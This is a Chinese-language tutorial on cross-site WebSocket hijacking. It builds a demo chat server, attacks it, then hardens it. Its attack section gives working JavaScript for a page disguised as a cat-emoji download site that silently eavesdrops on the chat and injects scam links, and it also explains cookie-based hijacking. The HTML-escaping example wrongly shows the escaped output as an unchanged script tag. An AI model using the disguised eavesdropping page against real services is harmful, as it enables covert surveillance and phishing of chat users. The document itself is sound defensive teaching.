一、先说结论
你在学安全时一定听过这句话:
"WebSocket 受浏览器同源策略保护,跨域请求会被拦截,所以安全。"
这句话是错的。 事实恰恰相反:
javascript
// 这段代码放在任何域名的任何页面里,都能直接执行!
// evil.com、phish.com、attacker.com ------ 都能连接到你的 WebSocket 服务
const ws = new WebSocket("ws://your-chat-server.com/chat");
// ✅ 浏览器不会拦截
// ✅ 不会触发 CORS 预检(根本没有 OPTIONS 请求)
// ✅ 握手成功 → 攻击者进入聊天室
和 fetch() 不同,WebSocket 的跨域限制由服务端负责,而不是浏览器。如果服务端不校验 Origin 头,任何网站都可以连接进来------这就是本文要演示的核心攻击面。
本文会带着你从零构建一个 WebSocket 猫咪聊天室,然后亲手把它攻破,最后修好它。
二、先建一个聊天室
2.1 整体架构
┌──────────────────────┐ ┌────────────────────────┐
│ 浏览器 1 (正常用户) │ │ Python WebSocket 服务 │
│ chat.html │ │ server.py │
│ Origin: localhost │──ws──→ │ ws://0.0.0.0:8765/chat │
└──────────────────────┘ │ │
│ 广播所有消息给全部客户端 │
┌──────────────────────┐ │ │
│ 浏览器 2 (正常用户) │ │ │
│ chat.html │──ws──→ │ │
│ Origin: localhost │ └────────────────────────┘
└──────────────────────┘
一个 Python 异步服务端,多个浏览器客户端,广播聊天消息。纯 JSON 协议,三个消息类型:
json
// 系统消息
{"type":"system","text":"用户abc123 加入了聊天室","time":"2026-06-29T16:53:17"}
// 聊天消息
{"type":"chat","nickname":"用户abc123","text":"你好啊","time":"2026-06-29T16:53:20"}
// 在线用户列表
{"type":"userlist","users":["用户abc123","用户def456"]}
2.2 服务端核心代码(Python)
服务端采用 websockets 库,单连接处理流程共 9 步:
连接进来 → ①采集Origin → ②安全校验 → ③连接数检查 → ④注册客户端
→ ⑤速率限制 → ⑥长度限制 → ⑦HTML转义 → ⑧广播 → ⑨清理
关键代码段(完整源码见文末 GitHub 链接):
python
# ── 安全模式配置 ──
SECURITY_MODE = "none" # none | check | strict
ALLOWED_ORIGINS = {"http://localhost:8080", "http://127.0.0.1:8080"}
async def handle_connection(ws):
# 1. 采集 Origin 头
origin = ws.request.headers.get("Origin", "(无 Origin 头)")
# 2. 安全模式校验
if SECURITY_MODE == "strict" and origin not in ALLOWED_ORIGINS:
await ws.close(4003, "跨域 WebSocket 连接被拒绝")
return
# 3. 注册客户端
client = ChatClient(ws, origin, generate_id())
connected_clients[client.id] = client
# 4. 广播加入通知
await broadcast(f"{client.nickname} 加入了聊天室")
try:
async for raw_message in ws:
# 5. 速率限制(滑动窗口:每秒最多3条)
if not client.check_rate_limit():
await ws.send("⚠️ 发送过快")
continue
# 6. 长度限制(最大1024字节)
if len(raw_message) > MAX_MSG_LENGTH:
await ws.send("⚠️ 消息过长")
continue
# 7. HTML 实体转义(防 XSS)
safe_text = html.escape(parse_message(raw_message), quote=True)
# 8. 广播
await broadcast_chat(client.nickname, safe_text)
finally:
# 9. 清理
connected_clients.pop(client.id, None)
await broadcast(f"{client.nickname} 离开了聊天室")
重点:默认 SECURITY_MODE = "none",就是为了演示不安全的起点。
2.3 客户端界面
╔══════════════════════════╗
║ 🐱 猫咪聊天室 在线: 2 ║
╠══════════════════════════╣
║ ║
║ 系统: 用户abc123 已连接 ║
║ ║
║ ┌─────────────────┐ ║
║ │ 你好!今天天气不错 │ ║
║ └─────────────────┘ ║
║ ┌──────────────────────┐
║ │ 对啊,适合出去走走 │
║ └──────────────────────┘
║ ║
╠══════════════════════════╣
║ [输入消息...] [发送] ║
║ 🟢 已连接 ║
╚══════════════════════════╝
客户端用原生 JavaScript 实现,238 行代码,核心连接逻辑:
javascript
const WS_URL = "ws://localhost:8765/chat";
function connect() {
ws = new WebSocket(WS_URL); // 浏览器不阻止跨域!
ws.onopen = () => {
// 连接成功,启用输入框
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.type === "chat") {
renderBubble(data.nickname, data.text); // 渲染聊天气泡
}
};
ws.onclose = () => {
setTimeout(connect, 3000); // 断线自动重连
};
}
三、攻击:跨域窃听 + 消息注入
3.1 攻击页面的伪装
攻击页面 evil_cross_origin_attack.html 看起来是一个正常的"猫咪表情包下载站":
╔══════════════════════════════════════════════╗
║ 🐱 免费猫咪表情包 ║
║ 精选 100+ 超可爱猫咪表情,一键下载! ║
╠══════════════════════════════════════════════╣
║ ║
║ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ ║
║ │ 😺 │ │ 😸 │ │ 😹 │ │ 😻 │ ║
║ │ #1 │ │ #2 │ │ #3 │ │ #4 │ ║
║ └──────┘ └──────┘ └──────┘ └──────┘ ║
║ ║
║ [⬇ 下载全部表情包] ║
╠══════════════════════════════════════════════╣
║ 👁️ 攻击者控制台 --- 跨域 WebSocket 窃听中... ║
║ ═══════════════════════════════════════════ ║
║ [14:42:20] 🚀 发起跨域攻击: evil.com → ws ║
║ [14:42:21] ✅ 连接成功!Origin 校验被绕过! ║
║ [14:42:22] 📩 [窃听] 用户abc: 老板PPT发一下 ║
║ [14:42:23] 📩 [窃听] 用户def: 好的,马上发 ║
║ [14:42:25] 🎣 [注入] 已发送钓鱼链接! ║
╚══════════════════════════════════════════════╝
上半部分是"猫咪表情下载"的伪装界面,下半部分是攻击者控制台------两者在同一条页面上同时运行。
3.2 攻击核心代码
javascript
// 攻击页面 (托管在 evil.com 或任何不同于聊天室的域名)
const TARGET_WS = "ws://localhost:8765/chat";
function launchCrossOriginAttack() {
// ⚠️ 浏览器完全不阻止这个跨域 WebSocket 连接!
// 与 fetch() / XHR 不同,WebSocket 没有 CORS 预检!
evilWS = new WebSocket(TARGET_WS);
evilWS.onopen = () => {
// 连接成功 --- 攻击者现在可以:
// 1. 接收所有聊天广播消息(窃听)
// 2. 发送任意消息(注入)
};
evilWS.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.type === "chat") {
// 实时窃听所有聊天内容
stolenMessages.push({
nick: data.nickname,
text: data.text,
time: data.time
});
evilLog(`📩 [窃听] ${data.nickname}: ${data.text}`);
}
};
}
// 每隔 15 秒自动注入一条钓鱼/诈骗消息
setInterval(() => {
const ads = [
"低价出 ChatGPT Plus 账号,加 V: hacker666",
"兼职日入 500+,点击 http://scam.example.com 了解",
"推荐一个超好用的梯子: http://vpn-scam.example.com",
];
evilWS.send(JSON.stringify({ text: ads[Math.floor(Math.random() * ads.length)] }));
}, 15000);
3.3 完整攻击链
┌─────────────────────────────────────────────────────────────┐
│ 攻击时间线 │
├──────────┬──────────────────────────────────────────────────┤
│ T+0s │ 用户访问 evil.html(以为是猫咪表情包下载站) │
│ T+0.5s │ evil.html 静默创建 WebSocket → 聊天室 │
│ │ 浏览器不阻止。Origin 头由 evil.com 自动设置 │
│ T+1s │ 握手成功。攻击者可以接收所有广播消息 │
│ T+1s~ │ 持续窃听:每一条聊天记录都被推送给攻击者 │
│ T+5s │ 首次注入:向聊天室发送钓鱼链接 │
│ T+15s │ 定时注入:每 15 秒一条诈骗广告 │
│ │ 受害者完全无感知------聊天室看起来一切正常 │
└──────────┴──────────────────────────────────────────────────┘
3.4 不仅如此:更危险的 CSWSH
如果聊天室使用 Cookie/Session 鉴权 (而不是 URL Token),攻击升级为 CSWSH(Cross-Site WebSocket Hijacking):
正常流程:
用户登录 chat.com → 浏览器保存 Session Cookie
→ 用户打开 chat.com/chat → WebSocket 握手自动携带 Cookie
→ 服务端看到有效 Session → 连接成功
CSWSH 攻击:
用户已登录 chat.com(Cookie 有效)
→ 用户被诱导打开 evil.com(猫咪表情包)
→ evil.com 创建 new WebSocket("wss://chat.com/ws")
→ 浏览器自动在握手中携带 chat.com 的 Cookie!(旧版浏览器/部分 WebView)
→ 服务端以为这是已登录的合法用户
→ 攻击者以受害者身份进入聊天室
→ 攻击者发送的任何消息都以受害者名义出现
CSWSH 和 CSRF 的本质相同------利用浏览器自动携带凭据的机制发起伪造请求。区别在于 WebSocket 没有同源策略的保护伞。
四、防御:四层防线
4.1 防线一:Origin 白名单(基础)
在 server.py 中改一行配置:
python
# 修改前(不安全)
SECURITY_MODE = "none"
# 修改后(基础防线)
SECURITY_MODE = "strict"
ALLOWED_ORIGINS = {"http://localhost:8080", "http://127.0.0.1:8080"}
防御原理:
正常用户请求:
GET /chat HTTP/1.1
Origin: http://localhost:8080 ← 在白名单中 → ✅ 通过
攻击者请求:
GET /chat HTTP/1.1
Origin: http://evil.com:8080 ← 不在白名单中 → ❌ 403 拒绝
代码层面:
python
if SECURITY_MODE == "strict" and origin not in ALLOWED_ORIGINS:
log.warning(f"[拒绝] 非法 Origin={origin}")
await ws.close(4003, "跨域 WebSocket 连接被拒绝 (Origin 不在白名单)")
return
能防:浏览器端 CSWSH 攻击(evil.html 发出的 Origin 就是 evil.com 的真实 Origin,JS 不可篡改)。
不能防:非浏览器客户端(curl / Python 脚本)可以伪造任意 Origin 头。
4.2 防线二:Token 鉴权(推荐组合)
python
# 客户端连接时携带 JWT Token
# ws://host:8765/chat?token=eyJhbGciOi...
async def handle_connection(ws):
# 1. 提取 Token
token = extract_token(ws.request.path)
# 2. 验证 Token(主防线)
user = verify_jwt(token)
if not user:
await ws.close(4003, "Unauthorized")
return
# 3. Origin 校验(纵深防线)
origin = ws.request.headers.get("Origin", "")
if origin not in ALLOWED_ORIGINS:
await ws.close(4003, "Bad Origin")
return
攻击者无法获取合法用户的 JWT Token(无法跨域读取页面内容),所以即使绕过了 Origin,也无法通过 Token 验证。
4.3 防线三:速率限制 + 连接数限制
python
MAX_MSG_PER_SEC = 1 # 每秒最多 1 条消息(防止刷屏注入)
MAX_MSG_LENGTH = 1024 # 单条消息最长 1024 字节
MAX_CONNECTIONS = 30 # 全局最大连接数(防止连接耗尽)
# 滑动窗口限流
def check_rate_limit(self):
now = time.time()
self.msg_timestamps = [t for t in self.msg_timestamps if now - t < 1.0]
return len(self.msg_timestamps) < MAX_MSG_PER_SEC
4.4 防线四:输入转义(防 XSS)
python
# 服务端对所有用户输入做 HTML 实体转义
safe_text = html.escape(text, quote=True)
# 输入: <script>alert(1)</script>
# 输出: <script>alert(1)</script>
# 即使前端用 innerHTML 渲染,也不会执行
4.5 防御效果对比
┌─────────────────────┬──────────┬──────────┬──────────┐
│ 防御方案 │ 防CSWSH │ 防伪造 │ 实现成本 │
├─────────────────────┼──────────┼──────────┼──────────┤
│ Origin 白名单 │ ✅ │ ❌ │ 低 │
│ Token 鉴权 │ ✅ │ ✅ │ 中 │
│ CSRF Token │ ✅ │ ✅ │ 中 │
│ 子协议协商 │ △ │ △ │ 低 │
│ 连接指纹 + 行为检测 │ △ │ △ │ 高 │
├─────────────────────┼──────────┼──────────┼──────────┤
│ 🏆 推荐组合 │ │ │ │
│ Token + Origin │ ✅ │ ✅ │ 中 │
└─────────────────────┴──────────┴──────────┴──────────┘
五、动手实验
5.1 环境准备
bash
# 安装依赖
pip install websockets
# 项目文件结构
websocket_chat_demo/
├── server.py # WebSocket 聊天服务
├── chat.html # 正常聊天客户端
├── evil_cross_origin_attack.html # 跨域攻击页面
└── WebSocket跨域安全深度分析.md # 完整分析报告
5.2 启动服务
bash
# 终端 1:启动 WebSocket 聊天服务(默认不校验 Origin)
cd websocket_chat_demo
python server.py
# 输出:🟢 WebSocket 聊天服务器启动 ws://0.0.0.0:8765/chat
# 输出:⚠️ Origin 检查: 关闭 - 任何网站都可以连进来!
# 终端 2:启动 HTTP 静态文件服务
cd websocket_chat_demo
python -m http.server 8081
5.3 正常使用
浏览器打开 http://localhost:8081/chat.html,看到:
🟢 已连接
系统:用户abc123 加入了聊天室
在输入框打字、回车发送,一切正常。
5.4 发起攻击
浏览器(新标签页)打开 http://localhost:8081/evil_cross_origin_attack.html,页面底部出现攻击者控制台:
[*] 页面加载完成,开始跨域 WebSocket 攻击...
🚀 发起跨域攻击: 从 http://localhost:8081 → ws://localhost:8765/chat
✅ 跨域 WebSocket 连接成功!Origin 校验被绕过!
💀 现在可以: 窃听消息 / 伪造身份 / 注入恶意内容
切回第一个标签页(正常聊天室),发送一条消息"测试消息"。
切回第二个标签页(evil 页面),控制台赫然显示:
📩 [窃听] 用户abc123: 测试消息
5 秒后,evil 页面自动注入第一条钓鱼消息。切回聊天室:
🐱 猫咪聊天室
系统:用户abc123 加入了聊天室
用户abc123:测试消息
用户def456:大家好!我发现一个超好用的免费 ChatGPT 镜像...
← 这是攻击者自动注入的钓鱼消息!
5.5 开启防御
bash
# 停止 server.py (Ctrl+C)
# 修改 server.py 中的配置:
SECURITY_MODE = "strict"
# 重新启动
python server.py
# 输出:✅ Origin 白名单: {'http://localhost:8081', 'http://127.0.0.1:8081'}
刷新 evil 页面,攻击者控制台显示:
❌ WebSocket 错误(可能服务器开启了 Origin 校验)
聊天室不受影响------正常用户的 Origin 在白名单中。
六、总结
三个核心事实
-
WebSocket 不受浏览器同源策略保护 ------ 这是协议设计行为,不是浏览器 Bug。
new WebSocket("ws://target.com")在任何页面上都能执行。 -
Origin 头由浏览器设置,但由服务端校验 ------ 浏览器负责写 Origin(不能被 JS 篡改),服务端负责读 Origin 并做判断。如果服务端不读,这道防线不存在。
-
Origin 校验是必要不充分条件 ------ 能防住浏览器端的 CSWSH,但防不住非浏览器客户端伪造 Origin。生产环境必须 Origin + Token 双验证。
Demo 三种模式的安全等级
🔴 none --- 完全裸奔,任何域名的页面都能连,不打印任何日志
🟡 check --- 记录 Origin 日志但不阻断(监控模式,适合攻击溯源)
🟢 strict --- 白名单校验,浏览器端跨域被阻断
🟢🟢 生产级 --- Origin 白名单 + Token 鉴权 + 速率限制 + 输入转义
写在最后
WebSocket 是一个很好用的协议------全双工、低开销、原生支持。但它的安全模型和 HTTP 完全不同:没有 CORS 保护、没有浏览器端同源策略、服务端不校验 Origin 就等同于没有门禁。
下次你用 WebSocket 写实时通信功能时,花 5 分钟检查三件事:
- 服务端读 Origin 头了吗?
- 鉴权不依赖 Cookie 了吗?
- 用户输入做了 HTML 转义了吗?
这三问的回答决定了你的 WebSocket 服务是一个安全的聊天室,还是一个开放给所有攻击者的窃听器。
完整源码
本文涉及的全部代码(服务端 / 客户端 / 攻击页面 / 分析报告)见项目目录
https://gitee.com/yana768/websocket_chat_demo。参考资料